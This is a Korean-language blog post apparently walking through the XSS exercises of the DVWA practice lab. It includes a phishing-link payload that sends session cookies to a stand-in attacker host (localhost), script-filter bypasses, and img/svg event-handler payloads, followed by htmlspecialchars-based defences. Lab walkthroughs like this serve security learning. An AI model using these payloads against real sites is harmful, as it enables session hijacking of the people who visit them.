728x90

정의

자바스크립트와 같은 언어로 만든 스크립트 코드를 취약한 웹 어플리케이션을 통해 사용자에게 전달하여 클라이언트측의 웹 브라우저를 공격하는 기법

DOM Based XSS

1. 공격자가 희생자에게 피싱 메일을 보냄

2. 희생자는 링크를 클릭시 악성 스크립트 코드가 삽입된 요청을 취약한 웹 어플리케이션에 전송

3. 웹 어플리케이션의 응답 페이지에는 스크립트 코드가 포함되어 있지 않음.

4. 희생자(클라이언트)의 웹 브라우저에서 DOM 객체를 통해 URL에 포함된 악성 스크립트 코드를 이용하여 페이지를 구성함으로써 코드 실행(ex 세션쿠키를 공격자에게 전송).

5. 공격자는 세션쿠키를 이용하여 희생자 권한으로 접속

 Reflected XSS는 서버가 악성 코드가 담긴 웹 페이지를 구성하여 클라이언트에게 전송하지만 DOM Based XSS는 클라이언트에서 악성 코드가 담긴 웹 페이지를 구성. 따라서 DOM Based XSS공격은 서버에서 XSS 공격의 흔적을 찾기 어려움.

Reflected XSS

1. 공격자가 희생자에게 피싱 메일을 보냄

2. 희생자는 링크를 클릭시 스크립트 코드가 삽입된 요청을 취약한 웹 어플리케이션에 전송

3. 웹 어플리케이션은 스크립트 코드가 포함된 웹 페이지를 희생자에게 응답

4. 희생자의 웹 브라우저에서 스크립트 코드 실행(ex 세션쿠키를 공격자에게 전송)

5. 공격자는 세션쿠키를 이용하여 희생자 권한으로 접속

Stored XSS

1. 공격자는 방명록, 게시판 등에 스크립트 코드를 남김

2. 희생자는 아무것도 모르고 방명록 접속

3. 스크립트 코드가 희생자에게 응답

4. 희생자의 웹 브라우저에서 스크립트 코드 실행(ex 세션쿠키를 공격자에게 전송)

5. 공격자는 세션쿠키를 이용하여 희생자의 권한으로 접속

 

실습

Low 단계

1. DOM Based XSS

English를 선택했을때 요청과 응답 메시지이다. 응답 메시지를 보면 document API를 이용해 클라이언트 측에서 default 파라미터의 인자(English)를 이용해 웹 페이지를 구성한다. <script>alert(document.cookie)</script>를 default 파라미터의 값으로 전달하면 경고창이 뜬다.

2. Reflected XSS

입력창에 <script>alert(document.cookie)</script>를 입력하면 쿠키값이 나타난다.

입력창에 직접 희생자가 저렇게 입력할리는 없다.

좀 더 그럴듯 하게 피싱메일을 이용해서 쿠키값이 해커가 관리하는 시스템으로 전달되는 경우를 만들어보자.

tail -f /opt/lampp/logs/access_log 명령어를 터미널에 입력하여 최신 로그를 확인하도록 한다.

document.location은 리다이렉트 기능을 가지고 있다. 해커의 사이트에 쿠키값과 함께 전송하는 것이다. 실습에서는 내가 공격자와 희생자 둘 다 하기 때문에 localhost로 쿠키값을 전송한다.

세번째 줄의 스크립트 코드를 피싱 메일의 링크에 설정하여 전송한다. 이는 첫번째 줄의 스크립트 코드를 URL 인코딩한 결과이다. 일부 특수문자만 URL 인코딩을 적용했는데 gmail로 링크를 첨부했을때 URL 인코딩이 자동으로 적용되지 않기 때문이다.

XSS 페이지에서 값을 입력하고 제출했을때의 URL에서 ?name= 부분을 이용한다.

http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location%3D'http://localhost/cookie%3F'%2Bdocument.cookie</script>

완성된 링크다.

나에게 이메일을 보내고 링크를 클릭해본다.

아래부터 2개의 GET 요청을 보면 XSS 공격이 실행되어 쿠키값이 로그에 남은 것을 볼 수 있다.

3. Stored XSS

스크립트 코드를 방명록에 등록한다.

다시 접속하면 세션쿠키가 로그에 남는다.

Medium 단계

Reflected XSS

<script>alert(1)</script>를 입력하면 공격이 통하지 않는다.

소스코드를 보면 <script>를 없애고 있다. 대문자로 입력하면 공격을 성공한다.

대문자 말고도 <scr<script>ipt>와 같은 방식으로도 가능하다.

High 단계

Reflected XSS

소스코드를 보면 <script> 문자열을 정규표현식을 이용해서 필터링 하고 있다. 따라서 Medium 단계의 공격 방식은 통하지 않는다.

html 태그를 이용한다.

1. <img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")>

2. <svg onload=window.location.assign("http://127.0.0.1/hacked.php")>

1번은 이미지 태그를 이용한다. src 속성에 x라는 없는 값을 입력하여 에러가 발생하게 한다. 따라서 onerror 속성값인 window.location.assign("http://127.0.0.1/hacked.php")가 실행된다. 이는 리다이렉트 기능을 한다. hacked.php는 /opt/lampp/htdocs/ 경로에 미리 만들어야한다. 간단하게 YOU ARE HACKED 메시지를 출력하도록 만들어놓았다.

2번은 svg 태그를 이용한다. 페이지가 요청될때 onload 속성값인 window.location.assign("http://127.0.0.1/hacked.php")가 실행된다. 마찬가지로 hacked.php는 /opt/lampp/htdocs/ 경로에 만들어야한다.

대응 방안

Reflected XSS, Stored XSS 대응 방안은 동일하다.

스크립트가 입력되어도 실행되지 않고 단순 문자열로 표시하도록 만드는 것이 가장 좋은 방법이다.

Impossible 단계의 소스코드를 보자.

htmlspecialchars() 함수를 사용한다. 

위 함수는 &, ", ', <, > 를 &amp, &quot, &#039, &lt, &gt로 치환함으로써 html에서 특수한 기능을 상실하여 웹 브라우저가 읽더라도 더이상 스크립트로 처리하지 않는다. 그로인해 공격이 무력화된다. 

대부분의 언어가 htmlspecialchars() 함수와 동일한 역할을 하는 빌트인 라이브러리나 함수를 제공한다.

또한, 입력값 검증을 통해 파라미터의 입력값에 불필요한 문자열이 포함되지 않도록 하는 것도 좋은 방안이다.

728x90

'dvwa' 카테고리의 다른 글

Blind SQL Injection  (0) 2023.05.17
SQL Injection  (0) 2023.05.16
File Upload  (0) 2023.05.06
File Inclusion  (0) 2023.05.06
CSRF  (0) 2023.05.05

+ Recent posts